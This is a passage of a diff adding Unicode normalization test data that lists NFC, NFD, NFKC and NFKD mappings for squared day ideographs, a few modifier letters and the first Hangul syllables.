+{ source: [0x33E2], NFC: [0x33E2], NFD: [0x33E2], NFKC: [0x0033, 0x65E5], NFKD: [0x0033, 0x65E5] },
+{ source: [0x33E3], NFC: [0x33E3], NFD: [0x33E3], NFKC: [0x0034, 0x65E5], NFKD: [0x0034, 0x65E5] },
+{ source: [0x33E4], NFC: [0x33E4], NFD: [0x33E4], NFKC: [0x0035, 0x65E5], NFKD: [0x0035, 0x65E5] },
+{ source: [0x33E5], NFC: [0x33E5], NFD: [0x33E5], NFKC: [0x0036, 0x65E5], NFKD: [0x0036, 0x65E5] },
+{ source: [0x33E6], NFC: [0x33E6], NFD: [0x33E6], NFKC: [0x0037, 0x65E5], NFKD: [0x0037, 0x65E5] },
+{ source: [0x33E7], NFC: [0x33E7], NFD: [0x33E7], NFKC: [0x0038, 0x65E5], NFKD: [0x0038, 0x65E5] },
+{ source: [0x33E8], NFC: [0x33E8], NFD: [0x33E8], NFKC: [0x0039, 0x65E5], NFKD: [0x0039, 0x65E5] },
+{ source: [0x33E9], NFC: [0x33E9], NFD: [0x33E9], NFKC: [0x0031, 0x0030, 0x65E5], NFKD: [0x0031, 0x0030, 0x65E5] },
+{ source: [0x33EA], NFC: [0x33EA], NFD: [0x33EA], NFKC: [0x0031, 0x0031, 0x65E5], NFKD: [0x0031, 0x0031, 0x65E5] },
+{ source: [0x33EB], NFC: [0x33EB], NFD: [0x33EB], NFKC: [0x0031, 0x0032, 0x65E5], NFKD: [0x0031, 0x0032, 0x65E5] },
+{ source: [0x33EC], NFC: [0x33EC], NFD: [0x33EC], NFKC: [0x0031, 0x0033, 0x65E5], NFKD: [0x0031, 0x0033, 0x65E5] },
+{ source: [0x33ED], NFC: [0x33ED], NFD: [0x33ED], NFKC: [0x0031, 0x0034, 0x65E5], NFKD: [0x0031, 0x0034, 0x65E5] },
+{ source: [0x33EE], NFC: [0x33EE], NFD: [0x33EE], NFKC: [0x0031, 0x0035, 0x65E5], NFKD: [0x0031, 0x0035, 0x65E5] },
+{ source: [0x33EF], NFC: [0x33EF], NFD: [0x33EF], NFKC: [0x0031, 0x0036, 0x65E5], NFKD: [0x0031, 0x0036, 0x65E5] },
+{ source: [0x33F0], NFC: [0x33F0], NFD: [0x33F0], NFKC: [0x0031, 0x0037, 0x65E5], NFKD: [0x0031, 0x0037, 0x65E5] },
+{ source: [0x33F1], NFC: [0x33F1], NFD: [0x33F1], NFKC: [0x0031, 0x0038, 0x65E5], NFKD: [0x0031, 0x0038, 0x65E5] },
+{ source: [0x33F2], NFC: [0x33F2], NFD: [0x33F2], NFKC: [0x0031, 0x0039, 0x65E5], NFKD: [0x0031, 0x0039, 0x65E5] },
+{ source: [0x33F3], NFC: [0x33F3], NFD: [0x33F3], NFKC: [0x0032, 0x0030, 0x65E5], NFKD: [0x0032, 0x0030, 0x65E5] },
+{ source: [0x33F4], NFC: [0x33F4], NFD: [0x33F4], NFKC: [0x0032, 0x0031, 0x65E5], NFKD: [0x0032, 0x0031, 0x65E5] },
+{ source: [0x33F5], NFC: [0x33F5], NFD: [0x33F5], NFKC: [0x0032, 0x0032, 0x65E5], NFKD: [0x0032, 0x0032, 0x65E5] },
+{ source: [0x33F6], NFC: [0x33F6], NFD: [0x33F6], NFKC: [0x0032, 0x0033, 0x65E5], NFKD: [0x0032, 0x0033, 0x65E5] },
+{ source: [0x33F7], NFC: [0x33F7], NFD: [0x33F7], NFKC: [0x0032, 0x0034, 0x65E5], NFKD: [0x0032, 0x0034, 0x65E5] },
+{ source: [0x33F8], NFC: [0x33F8], NFD: [0x33F8], NFKC: [0x0032, 0x0035, 0x65E5], NFKD: [0x0032, 0x0035, 0x65E5] },
+{ source: [0x33F9], NFC: [0x33F9], NFD: [0x33F9], NFKC: [0x0032, 0x0036, 0x65E5], NFKD: [0x0032, 0x0036, 0x65E5] },
+{ source: [0x33FA], NFC: [0x33FA], NFD: [0x33FA], NFKC: [0x0032, 0x0037, 0x65E5], NFKD: [0x0032, 0x0037, 0x65E5] },
+{ source: [0x33FB], NFC: [0x33FB], NFD: [0x33FB], NFKC: [0x0032, 0x0038, 0x65E5], NFKD: [0x0032, 0x0038, 0x65E5] },
+{ source: [0x33FC], NFC: [0x33FC], NFD: [0x33FC], NFKC: [0x0032, 0x0039, 0x65E5], NFKD: [0x0032, 0x0039, 0x65E5] },
+{ source: [0x33FD], NFC: [0x33FD], NFD: [0x33FD], NFKC: [0x0033, 0x0030, 0x65E5], NFKD: [0x0033, 0x0030, 0x65E5] },
+{ source: [0x33FE], NFC: [0x33FE], NFD: [0x33FE], NFKC: [0x0033, 0x0031, 0x65E5], NFKD: [0x0033, 0x0031, 0x65E5] },
+{ source: [0x33FF], NFC: [0x33FF], NFD: [0x33FF], NFKC: [0x0067, 0x0061, 0x006C], NFKD: [0x0067, 0x0061, 0x006C] },
+{ source: [0xA69C], NFC: [0xA69C], NFD: [0xA69C], NFKC: [0x044A], NFKD: [0x044A] },
+{ source: [0xA69D], NFC: [0xA69D], NFD: [0xA69D], NFKC: [0x044C], NFKD: [0x044C] },
+{ source: [0xA770], NFC: [0xA770], NFD: [0xA770], NFKC: [0xA76F], NFKD: [0xA76F] },
+{ source: [0xA7F8], NFC: [0xA7F8], NFD: [0xA7F8], NFKC: [0x0126], NFKD: [0x0126] },
+{ source: [0xA7F9], NFC: [0xA7F9], NFD: [0xA7F9], NFKC: [0x0153], NFKD: [0x0153] },
+{ source: [0xAB5C], NFC: [0xAB5C], NFD: [0xAB5C], NFKC: [0xA727], NFKD: [0xA727] },
+{ source: [0xAB5D], NFC: [0xAB5D], NFD: [0xAB5D], NFKC: [0xAB37], NFKD: [0xAB37] },
+{ source: [0xAB5E], NFC: [0xAB5E], NFD: [0xAB5E], NFKC: [0x026B], NFKD: [0x026B] },
+{ source: [0xAB5F], NFC: [0xAB5F], NFD: [0xAB5F], NFKC: [0xAB52], NFKD: [0xAB52] },
+{ source: [0xAB69], NFC: [0xAB69], NFD: [0xAB69], NFKC: [0x028D], NFKD: [0x028D] },
+{ source: [0xAC00], NFC: [0xAC00], NFD: [0x1100, 0x1161], NFKC: [0xAC00], NFKD: [0x1100, 0x1161] },
+{ source: [0xAC01], NFC: [0xAC01], NFD: [0x1100, 0x1161, 0x11A8], NFKC: [0xAC01], NFKD: [0x1100, 0x1161, 0x11A8] },
+{ source: [0xAC02], NFC: [0xAC02], NFD: [0x1100, 0x1161, 0x11A9], NFKC: [0xAC02], NFKD: [0x1100, 0x1161, 0x11A9] },
+{ source: [0xAC03], NFC: [0xAC03], NFD: [0x1100, 0x1161, 0x11AA], NFKC: [0xAC03], NFKD: [0x1100, 0x1161, 0x11AA] },
+{ source: [0xAC04], NFC: [0xAC04], NFD: [0x1100, 0x1161, 0x11AB], NFKC: [0xAC04], NFKD: [0x1100, 0x1161, 0x11AB] },
+{ source: [0xAC05], NFC: [0xAC05], NFD: [0x1100, 0x1161, 0x11AC], NFKC: [0xAC05], NFKD: [0x1100, 0x1161, 0x11AC] },
+{ source: [0xAC06], NFC: [0xAC06], NFD: [0x1100, 0x1161, 0x11AD], NFKC: [0xAC06], NFKD: [0x1100, 0x1161, 0x11AD] },
+{ source: [0xAC07], NFC: [0xAC07], NFD: [0x1100, 0x1161, 0x11AE], NFKC: [0xAC07], NFKD: [0x1100, 0x1161, 0x11AE] },
+{ source: [0xAC08], NFC: [0xAC08], NFD: [0x1100, 0x1161, 0x11AF], NFKC: [0xAC08], NFKD: [0x1100, 0x1161, 0x11AF] },
+{ source: [0xAC09], NFC: [0xAC09], NFD: [0x1100, 0x1161, 0x11B0], NFKC: [0xAC09], NFKD: [0x1100, 0x1161, 0x11B0] },
+{ source: [0xAC0A], NFC: [0xAC0A], NFD: [0x1100, 0x1161, 0x11B1], NFKC: [0xAC0A], NFKD: [0x1100, 0x1161, 0x11B1] },
+{ source: [0xAC0B], NFC: [0xAC0B], NFD: [0x1100, 0x1161, 0x11B2], NFKC: [0xAC0B], NFKD: [0x1100, 0x1161, 0x11B2] },
+{ source: [0xAC0C], NFC: [0xAC0C], NFD: [0x1100, 0x1161, 0x11B3], NFKC: [0xAC0C], NFKD: [0x1100, 0x1161, 0x11B3] },
+{ source: [0xAC0D], NFC: [0xAC0D], NFD: [0x1100, 0x1161, 0x11B4], NFKC: [0xAC0D], NFKD: [0x1100, 0x1161, 0x11B4] },
+{ source: [0xAC0E], NFC: [0xAC0E], NFD: [0x1100, 0x1161, 0x11B5], NFKC: [0xAC0E], NFKD: [0x1100, 0x1161, 0x11B5] },
+{ source: [0xAC0F], NFC: [0xAC0F], NFD: [0x1100, 0x1161, 0x11B6], NFKC: [0xAC0F], NFKD: [0x1100, 0x1161, 0x11B6] },
+{ source: [0xAC10], NFC: [0xAC10], NFD: [0x1100, 0x1161, 0x11B7], NFKC: [0xAC10], NFKD: [0x1100, 0x1161, 0x11B7] },
+{ source: [0xAC11], NFC: [0xAC11], NFD: [0x1100, 0x1161, 0x11B8], NFKC: [0xAC11], NFKD: [0x1100, 0x1161, 0x11B8] },
+{ source: [0xAC12], NFC: [0xAC12], NFD: [0x1100, 0x1161, 0x11B9], NFKC: [0xAC12], NFKD: [0x1100, 0x1161, 0x11B9] },
+{ source: [0xAC13], NFC: [0xAC13], NFD: [0x1100, 0x1161, 0x11BA], NFKC: [0xAC13], NFKD: [0x1100, 0x1161, 0x11BA] },
+{ source: [0xAC14], NFC: [0xAC14], NFD: [0x1100, 0x1161, 0x11BB], NFKC: [0xAC14], NFKD: [0x1100, 0x1161, 0x11BB] },
+{ source: [0xAC15], NFC: [0xAC15], NFD: [0x1100, 0x1161, 0x11BC], NFKC: [0xAC15], NFKD: [0x1100, 0x1161, 0x11BC] },
+{ source: [0xAC16], NFC: [0xAC16], NFD: [0x1100, 0x1161, 0x11BD], NFKC: [0xAC16], NFKD: [0x1100, 0x1161, 0x11BD] },
+{ source: [0xAC17], NFC: [0xAC17], NFD: [0x1100, 0x1161, 0x11BE], NFKC: [0xAC17], NFKD: [0x1100, 0x1161, 0x11BE] },
+{ source: [0xAC18], NFC: [0xAC18], NFD: [0x1100, 0x1161, 0x11BF], NFKC: [0xAC18], NFKD: [0x1100, 0x1161, 0x11BF] },
+{ source: [0xAC19], NFC: [0xAC19], NFD: [0x1100, 0x1161, 0x11C0], NFKC: [0xAC19], NFKD: [0x1100, 0x1161, 0x11C0] },
+{ source: [0xAC1A], NFC: [0xAC1A], NFD: [0x1100, 0x1161, 0x11C1], NFKC: [0xAC1A], NFKD: [0x1100, 0x1161, 0x11C1] },
+{ source: [0xAC1B], NFC: [0xAC1B], NFD: [0x1100, 0x1161, 0x11C2], NFKC: [0xAC1B], NFKD: [0x1100, 0x1161, 0x11C2] },
+{ source: [0xAC1C], NFC: [0xAC1C], NFD: [0x1100, 0x1162], NFKC: [0xAC1C], NFKD: [0x1100, 0x1162] },
+{ source: [0xAC1D], NFC: [0xAC1D], NFD: [0x1100, 0x1162, 0x11A8], NFKC: [0xAC1D], NFKD: [0x1100, 0x1162, 0x11A8] },
+{ source: [0xAC1E], NFC: [0xAC1E], NFD: [0x1100, 0x1162, 0x11A9], NFKC: [0xAC1E], NFKD: [0x1100, 0x1162, 0x11A9] },
+{ source: [0xAC1F], NFC: [0xAC1F], NFD: [0x1100, 0x1162, 0x11AA], NFKC: [0xAC1F], NFKD: [0x1100, 0x1162, 0x11AA] },
+{ source: [0xAC20], NFC: [0xAC20], NFD: [0x1100, 0x1162, 0x11AB], NFKC: [0xAC20], NFKD: [0x1100, 0x1162, 0x11AB] },
+{ source: [0xAC21], NFC: [0xAC21], NFD: [0x1100, 0x1162, 0x11AC], NFKC: [0xAC21], NFKD: [0x1100, 0x1162, 0x11AC] },
+{ source: [0xAC22], NFC: [0xAC22], NFD: [0x1100, 0x1162, 0x11AD], NFKC: [0xAC22], NFKD: [0x1100, 0x1162, 0x11AD] },
+{ source: [0xAC23], NFC: [0xAC23], NFD: [0x1100, 0x1162, 0x11AE], NFKC: [0xAC23], NFKD: [0x1100, 0x1162, 0x11AE] },
+{ source: [0xAC24], NFC: [0xAC24], NFD: [0x1100, 0x1162, 0x11AF], NFKC: [0xAC24], NFKD: [0x1100, 0x1162, 0x11AF] },
+{ source: [0xAC25], NFC: [0xAC25], NFD: [0x1100, 0x1162, 0x11B0], NFKC: [0xAC25], NFKD: [0x1100, 0x1162, 0x11B0] },
+{ source: [0xAC26], NFC: [0xAC26], NFD: [0x1100, 0x1162, 0x11B1], NFKC: [0xAC26], NFKD: [0x1100, 0x1162, 0x11B1] },
+{ source: [0xAC27], NFC: [0xAC27], NFD: [0x1100, 0x1162, 0x11B2], NFKC: [0xAC27], NFKD: [0x1100, 0x1162, 0x11B2] },
+{ source: [0xAC28], NFC: [0xAC28], NFD: [0x1100, 0x1162, 0x11B3], NFKC: [0xAC28], NFKD: [0x1100, 0x1162, 0x11B3] },
+{ source: [0xAC29], NFC: [0xAC29], NFD: [0x1100, 0x1162, 0x11B4], NFKC: [0xAC29], NFKD: [0x1100, 0x1162, 0x11B4] },
+{ source: [0xAC2A], NFC: [0xAC2A], NFD: [0x1100, 0x1162, 0x11B5], NFKC: [0xAC2A], NFKD: [0x1100, 0x1162, 0x11B5] },
+{ source: [0xAC2B], NFC: [0xAC2B], NFD: [0x1100, 0x1162, 0x11B6], NFKC: [0xAC2B], NFKD: [0x1100, 0x1162, 0x11B6] },
+{ source: [0xAC2C], NFC: [0xAC2C], NFD: [0x1100, 0x1162, 0x11B7], NFKC: [0xAC2C], NFKD: [0x1100, 0x1162, 0x11B7] },
+{ source: [0xAC2D], NFC: [0xAC2D], NFD: [0x1100, 0x1162, 0x11B8], NFKC: [0xAC2D], NFKD: [0x1100, 0x1162, 0x11B8] },
+{ source: [0xAC2E], NFC: [0xAC2E], NFD: [0x1100, 0x1162, 0x11B9], NFKC: [0xAC2E], NFKD: [0x1100, 0x1162, 0x11B9] },
+{ source: [0xAC2F], NFC: [0xAC2F], NFD: [0x1100, 0x1162, 0x11BA], NFKC: [0xAC2F], NFKD: [0x1100, 0x1162, 0x11BA] },
+{ source: [0xAC30], NFC: [0xAC30], NFD: [0x1100, 0x1162, 0x11BB], NFKC: [0xAC30], NFKD: [0x1100, 0x1162, 0x11BB] },
+{ source: [0xAC31], NFC: [0xAC31], NFD: [0x1100, 0x1162, 0x11BC], NFKC: [0xAC31], NFKD: [0x1100, 0x1162, 0x11BC] },
+{ source: [0xAC32], NFC: [0xAC32], NFD: [0x1100, 0x1162, 0x11BD], NFKC: [0xAC32], NFKD: [0x1100, 0x1162, 0x11BD] },
+{ source: [0xAC33], NFC: [0xAC33], NFD: [0x1100, 0x1162, 0x11BE], NFKC: [0xAC33], NFKD: [0x1100, 0x1162, 0x11BE] },
+{ source: [0xAC34], NFC: [0xAC34], NFD: [0x1100, 0x1162, 0x11BF], NFKC: [0xAC34], NFKD: [0x1100, 0x1162, 0x11BF] },
+{ source: [0xAC35], NFC: [0xAC35], NFD: [0x1100, 0x1162, 0x11C0], NFKC: [0xAC35], NFKD: [0x1100, 0x1162, 0x11C0] },
+{ source: [0xAC36], NFC: [0xAC36], NFD: [0x1100, 0x1162, 0x11C1], NFKC: [0xAC36], NFKD: [0x1100, 0x1162, 0x11C1] },
+{ source: [0xAC37], NFC: [0xAC37], NFD: [0x1100, 0x1162, 0x11C2], NFKC: [0xAC37], NFKD: [0x1100, 0x1162, 0x11C2] },
+{ source: [0xAC38], NFC: [0xAC38], NFD: [0x1100, 0x1163], NFKC: [0xAC38], NFKD: [0x1100, 0x1163] },
+{ source: [0xAC39], NFC: [0xAC39], NFD: [0x1100, 0x1163, 0x11A8], NFKC: [0xAC39], NFKD: [0x1100, 0x1163, 0x11A8] },
+{ source: [0xAC3A], NFC: [0xAC3A], NFD: [0x1100, 0x1163, 0x11A9], NFKC: [0xAC3A], NFKD: [0x1100, 0x1163, 0x11A9] },
+{ source: [0xAC3B], NFC: [0xAC3B], NFD: [0x1100, 0x1163, 0x11AA], NFKC: [0xAC3B], NFKD: [0x1100, 0x1163, 0x11AA] },
+{ source: [0xAC3C], NFC: [0xAC3C], NFD: [0x1100, 0x1163, 0x11AB], NFKC: [0xAC3C], NFKD: [0x1100, 0x1163, 0x11AB] },
+{ source: [0xAC3D], NFC: [0xAC3D], NFD: [0x1100, 0x1163, 0x11AC], NFKC: [0xAC3D], NFKD: [0x1100, 0x1163, 0x11AC] },
+{ source: [0xAC3E], NFC: [0xAC3E], NFD: [0x1100, 0x1163, 0x11AD], NFKC: [0xAC3E], NFKD: [0x1100, 0x1163, 0x11AD] },
+{ source: [0xAC3F], NFC: [0xAC3F], NFD: [0x1100, 0x1163, 0x11AE], NFKC: [0xAC3F], NFKD: [0x1100, 0x1163, 0x11AE] },
+{ source: [0xAC40], NFC: [0xAC40], NFD: [0x1100, 0x1163, 0x11AF], NFKC: [0xAC40], NFKD: [0x1100, 0x1163, 0x11AF] },
+{ source: [0xAC41], NFC: [0xAC41], NFD: [0x1100, 0x1163, 0x11B0], NFKC: [0xAC41], NFKD: [0x1100, 0x1163, 0x11B0] },
+{ source: [0xAC42], NFC: [0xAC42], NFD: [0x1100, 0x1163, 0x11B1], NFKC: [0xAC42], NFKD: [0x1100, 0x1163, 0x11B1] },
+{ source: [0xAC43], NFC: [0xAC43], NFD: [0x1100, 0x1163, 0x11B2], NFKC: [0xAC43], NFKD: [0x1100, 0x1163, 0x11B2] },
+{ source: [0xAC44], NFC: [0xAC44], NFD: [0x1100, 0x1163, 0x11B3], NFKC: [0xAC44], NFKD: [0x1100, 0x1163, 0x11B3] },
+{ source: [0xAC45], NFC: [0xAC45], NFD: [0x1100, 0x1163, 0x11B4], NFKC: [0xAC45], NFKD: [0x1100, 0x1163, 0x11B4] },
+{ source: [0xAC46], NFC: [0xAC46], NFD: [0x1100, 0x1163, 0x11B5], NFKC: [0xAC46], NFKD: [0x1100, 0x1163, 0x11B5] },
+{ source: [0xAC47], NFC: [0xAC47], NFD: [0x1100, 0x1163, 0x11B6], NFKC: [0xAC47], NFKD: [0x1100, 0x1163, 0x11B6] },
+{ source: [0xAC48], NFC: [0xAC48], NFD: [0x1100, 0x1163, 0x11B7], NFKC: [0xAC48], NFKD: [0x1100, 0x1163, 0x11B7] },
+{ source: [0xAC49], NFC: [0xAC49], NFD: [0x1100, 0x1163, 0x11B8], NFKC: [0xAC49], NFKD: [0x1100, 0x1163, 0x11B8] },
+{ source: [0xAC4A], NFC: [0xAC4A], NFD: [0x1100, 0x1163, 0x11B9], NFKC: [0xAC4A], NFKD: [0x1100, 0x1163, 0x11B9] },
+{ source: [0xAC4B], NFC: [0xAC4B], NFD: [0x1100, 0x1163, 0x11BA], NFKC: [0xAC4B], NFKD: [0x1100, 0x1163, 0x11BA] },
+{ source: [0xAC4C], NFC: [0xAC4C], NFD: [0x1100, 0x1163, 0x11BB], NFKC: [0xAC4C], NFKD: [0x1100, 0x1163, 0x11BB] },
+{ source: [0xAC4D], NFC: [0xAC4D], NFD: [0x1100, 0x1163, 0x11BC], NFKC: [0xAC4D], NFKD: [0x1100, 0x1163, 0x11BC] },
+{ source: [0xAC4E], NFC: [0xAC4E], NFD: [0x1100, 0x1163, 0x11BD], NFKC: [0xAC4E], NFKD: [0x1100, 0x1163, 0x11BD] },
+{ source: [0xAC4F], NFC: [0xAC4F], NFD: [0x1100, 0x1163, 0x11BE], NFKC: [0xAC4F], NFKD: [0x1100, 0x1163, 0x11BE] },
+{ source: [0xAC50], NFC: [0xAC50], NFD: [0x1100, 0x1163, 0x11BF], NFKC: [0xAC50], NFKD: [0x1100, 0x1163, 0x11BF] },
+{ source: [0xAC51], NFC: [0xAC51], NFD: [0x1100, 0x1163, 0x11C0], NFKC: [0xAC51], NFKD: [0x1100, 0x1163, 0x11C0] },
+{ source: [0xAC52], NFC: [0xAC52], NFD: [0x1100, 0x1163, 0x11C1], NFKC: [0xAC52], NFKD: [0x1100, 0x1163, 0x11C1] },
+{ source: [0xAC53], NFC: [0xAC53], NFD: [0x1100, 0x1163, 0x11C2], NFKC: [0xAC53], NFKD: [0x1100, 0x1163, 0x11C2] },
+{ source: [0xAC54], NFC: [0xAC54], NFD: [0x1100, 0x1164], NFKC: [0xAC54], NFKD: [0x1100, 0x1164] },
+{ source: [0xAC55], NFC: [0xAC55], NFD: [0x1100, 0x1164, 0x11A8], NFKC: [0xAC55], NFKD: [0x1100, 0x1164, 0x11A8] },
+{ source: [0xAC56], NFC: [0xAC56], NFD: [0x1100, 0x1164, 0x11A9], NFKC: [0xAC56], NFKD: [0x1100, 0x1164, 0x11A9] },
+{ source: [0xAC57], NFC: [0xAC57], NFD: [0x1100, 0x1164, 0x11AA], NFKC: [0xAC57], NFKD: [0x1100, 0x1164, 0x11AA] },
+{ source: [0xAC58], NFC: [0xAC58], NFD: [0x1100, 0x1164, 0x11AB], NFKC: [0xAC58], NFKD: [0x1100, 0x1164, 0x11AB] },
+{ source: [0xAC59], NFC: [0xAC59], NFD: [0x1100, 0x1164, 0x11AC], NFKC: [0xAC59], NFKD: [0x1100, 0x1164, 0x11AC] },
+{ source: [0xAC5A], NFC: [0xAC5A], NFD: [0x1100, 0x1164, 0x11AD], NFKC: [0xAC5A], NFKD: [0x1100, 0x1164, 0x11AD] },
+{ source: [0xAC5B], NFC: [0xAC5B], NFD: [0x1100, 0x1164, 0x11AE], NFKC: [0xAC5B], NFKD: [0x1100, 0x1164, 0x11AE] },
+{ source: [0xAC5C], NFC: [0xAC5C], NFD: [0x1100, 0x1164, 0x11AF], NFKC: [0xAC5C], NFKD: [0x1100, 0x1164, 0x11AF] },
+{ source: [0xAC5D], NFC: [0xAC5D], NFD: [0x1100, 0x1164, 0x11B0], NFKC: [0xAC5D], NFKD: [0x1100, 0x1164, 0x11B0] },
+{ source: [0xAC5E], NFC: [0xAC5E], NFD: [0x1100, 0x1164, 0x11B1], NFKC: [0xAC5E], NFKD: [0x1100, 0x1164, 0x11B1] },
+{ source: [0xAC5F], NFC: [0xAC5F], NFD: [0x1100, 0x1164, 0x11B2], NFKC: [0xAC5F], NFKD: [0x1100, 0x1164, 0x11B2] },
+{ source: [0xAC60], NFC: [0xAC60], NFD: [0x1100, 0x1164, 0x11B3], NFKC: [0xAC60], NFKD: [0x1100, 0x1164, 0x11B3] },
+{ source: [0xAC61], NFC: [0xAC61], NFD: [0x1100, 0x1164, 0x11B4], NFKC: [0xAC61], NFKD: [0x1100, 0x1164, 0x11B4] },
+{ source: [0xAC62], NFC: [0xAC62], NFD: [0x1100, 0x1164, 0x11B5], NFKC: [0xAC62], NFKD: [0x1100, 0x1164, 0x11B5] },
+{ source: [0xAC63], NFC: [0xAC63], NFD: [0x1100, 0x1164, 0x11B6], NFKC: [0xAC63], NFKD: [0x1100, 0x1164, 0x11B6] },
+{ source: [0xAC64], NFC: [0xAC64], NFD: [0x1100, 0x1164, 0x11B7], NFKC: [0xAC64], NFKD: [0x1100, 0x1164, 0x11B7] },
+{ source: [0xAC65], NFC: [0xAC65], NFD: [0x1100, 0x1164, 0x11B8], NFKC: [0xAC65], NFKD: [0x1100, 0x1164, 0x11B8] },
+{ source: [0xAC66], NFC: [0xAC66], NFD: [0x1100, 0x1164, 0x11B9], NFKC: [0xAC66], NFKD: [0x1100, 0x1164, 0x11B9] },
+{ source: [0xAC67], NFC: [0xAC67], NFD: [0x1100, 0x1164, 0x11BA], NFKC: [0xAC67], NFKD: [0x1100, 0x1164, 0x11BA] },
+{ source: [0xAC68], NFC: [0xAC68], NFD: [0x1100, 0x1164, 0x11BB], NFKC: [0xAC68], NFKD: [0x1100, 0x1164, 0x11BB] },
+{ source: [0xAC69], NFC: [0xAC69], NFD: [0x1100, 0x1164, 0x11BC], NFKC: [0xAC69], NFKD: [0x1100, 0x1164, 0x11BC] },
+{ source: [0xAC6A], NFC: [0xAC6A], NFD: [0x1100, 0x1164, 0x11BD], NFKC: [0xAC6A], NFKD: [0x1100, 0x1164, 0x11BD] },
+{ source: [0xAC6B], NFC: [0xAC6B], NFD: [0x1100, 0x1164, 0x11BE], NFKC: [0xAC6B], NFKD: [0x1100, 0x1164, 0x11BE] },
+{ source: [0xAC6C], NFC: [0xAC6C], NFD: [0x1100, 0x1164, 0x11BF], NFKC: [0xAC6C], NFKD: [0x1100, 0x1164, 0x11BF] },
+{ source: [0xAC6D], NFC: [0xAC6D], NFD: [0x1100, 0x1164, 0x11C0], NFKC: [0xAC6D], NFKD: [0x1100, 0x1164, 0x11C0] },
+{ source: [0xAC6E], NFC: [0xAC6E], NFD: [0x1100, 0x1164, 0x11C1], NFKC: [0xAC6E], NFKD: [0x1100, 0x1164, 0x11C1] },
+{ source: [0xAC6F], NFC: [0xAC6F], NFD: [0x1100, 0x1164, 0x11C2], NFKC: [0xAC6F], NFKD: [0x1100, 0x1164, 0x11C2] },
+{ source: [0xAC70], NFC: [0xAC70], NFD: [0x1100, 0x1165], NFKC: [0xAC70], NFKD: [0x1100, 0x1165] },
+{ source: [0xAC71], NFC: [0xAC71], NFD: [0x1100, 0x1165, 0x11A8], NFKC: [0xAC71], NFKD: [0x1100, 0x1165, 0x11A8] },
+{ source: [0xAC72], NFC: [0xAC72], NFD: [0x1100, 0x1165, 0x11A9], NFKC: [0xAC72], NFKD: [0x1100, 0x1165, 0x11A9] },
+{ source: [0xAC73], NFC: [0xAC73], NFD: [0x1100, 0x1165, 0x11AA], NFKC: [0xAC73], NFKD: [0x1100, 0x1165, 0x11AA] },
+{ source: [0xAC74], NFC: [0xAC74], NFD: [0x1100, 0x1165, 0x11AB], NFKC: [0xAC74], NFKD: [0x1100, 0x1165, 0x11AB] },
+{ source: [0xAC75], NFC: [0xAC75], NFD: [0x1100, 0x1165, 0x11AC], NFKC: [0xAC75], NFKD: [0x1100, 0x1165, 0x11AC] },
+{ source: [0xAC76], NFC: [0xAC76], NFD: [0x1100, 0x1165, 0x11AD], NFKC: [0xAC76], NFKD: [0x1100, 0x1165, 0x11AD] },
+{ source: [0xAC77], NFC: [0xAC77], NFD: [0x1100, 0x1165, 0x11AE], NFKC: [0xAC77], NFKD: [0x1100, 0x1165, 0x11AE] },
+{ source: [0xAC78], NFC: [0xAC78], NFD: [0x1100, 0x1165, 0x11AF], NFKC: [0xAC78], NFKD: [0x1100, 0x1165, 0x11AF] },
+{ source: [0xAC79], NFC: [0xAC79], NFD: [0x1100, 0x1165, 0x11B0], NFKC: [0xAC79], NFKD: [0x1100, 0x1165, 0x11B0] },
+{ source: [0xAC7A], NFC: [0xAC7A], NFD: [0x1100, 0x1165, 0x11B1], NFKC: [0xAC7A], NFKD: [0x1100, 0x1165, 0x11B1] },
+{ source: [0xAC7B], NFC: [0xAC7B], NFD: [0x1100, 0x1165, 0x11B2], NFKC: [0xAC7B], NFKD: [0x1100, 0x1165, 0x11B2] },
+{ source: [0xAC7C], NFC: [0xAC7C], NFD: [0x1100, 0x1165, 0x11B3], NFKC: [0xAC7C], NFKD: [0x1100, 0x1165, 0x11B3] },
+{ source: [0xAC7D], NFC: [0xAC7D], NFD: [0x1100, 0x1165, 0x11B4], NFKC: [0xAC7D], NFKD: [0x1100, 0x1165, 0x11B4] },
+{ source: [0xAC7E], NFC: [0xAC7E], NFD: [0x1100, 0x1165, 0x11B5], NFKC: [0xAC7E], NFKD: [0x1100, 0x1165, 0x11B5] },
+{ source: [0xAC7F], NFC: [0xAC7F], NFD: [0x1100, 0x1165, 0x11B6], NFKC: [0xAC7F], NFKD: [0x1100, 0x1165, 0x11B6] },
+{ source: [0xAC80], NFC: [0xAC80], NFD: [0x1100, 0x1165, 0x11B7], NFKC: [0xAC80], NFKD: [0x1100, 0x1165, 0x11B7] },
+{ source: [0xAC81], NFC: [0xAC81], NFD: [0x1100, 0x1165, 0x11B8], NFKC: [0xAC81], NFKD: [0x1100, 0x1165, 0x11B8] },
+{ source: [0xAC82], NFC: [0xAC82], NFD: [0x1100, 0x1165, 0x11B9], NFKC: [0xAC82], NFKD: [0x1100, 0x1165, 0x11B9] },
+{ source: [0xAC83], NFC: [0xAC83], NFD: [0x1100, 0x1165, 0x11BA], NFKC: [0xAC83], NFKD: [0x1100, 0x1165, 0x11BA] },
+{ source: [0xAC84], NFC: [0xAC84], NFD: [0x1100, 0x1165, 0x11BB], NFKC: [0xAC84], NFKD: [0x1100, 0x1165, 0x11BB] },
+{ source: [0xAC85], NFC: [0xAC85], NFD: [0x1100, 0x1165, 0x11BC], NFKC: [0xAC85], NFKD: [0x1100, 0x1165, 0x11BC] },
+{ source: [0xAC86], NFC: [0xAC86], NFD: [0x1100, 0x1165, 0x11BD], NFKC: [0xAC86], NFKD: [0x1100, 0x1165, 0x11BD] },
+{ source: [0xAC87], NFC: [0xAC87], NFD: [0x1100, 0x1165, 0x11BE], NFKC: [0xAC87], NFKD: [0x1100, 0x1165, 0x11BE] },
+{ source: [0xAC88], NFC: [0xAC88], NFD: [0x1100, 0x1165, 0x11BF], NFKC: [0xAC88], NFKD: [0x1100, 0x1165, 0x11BF] },
+{ source: [0xAC89], NFC: [0xAC89], NFD: [0x1100, 0x1165, 0x11C0], NFKC: [0xAC89], NFKD: [0x1100, 0x1165, 0x11C0] },
+{ source: [0xAC8A], NFC: [0xAC8A], NFD: [0x1100, 0x1165, 0x11C1], NFKC: [0xAC8A], NFKD: [0x1100, 0x1165, 0x11C1] },
+{ source: [0xAC8B], NFC: [0xAC8B], NFD: [0x1100, 0x1165, 0x11C2], NFKC: [0xAC8B], NFKD: [0x1100, 0x1165, 0x11C2] },
+{ source: [0xAC8C], NFC: [0xAC8C], NFD: [0x1100, 0x1166], NFKC: [0xAC8C], NFKD: [0x1100, 0x1166] },
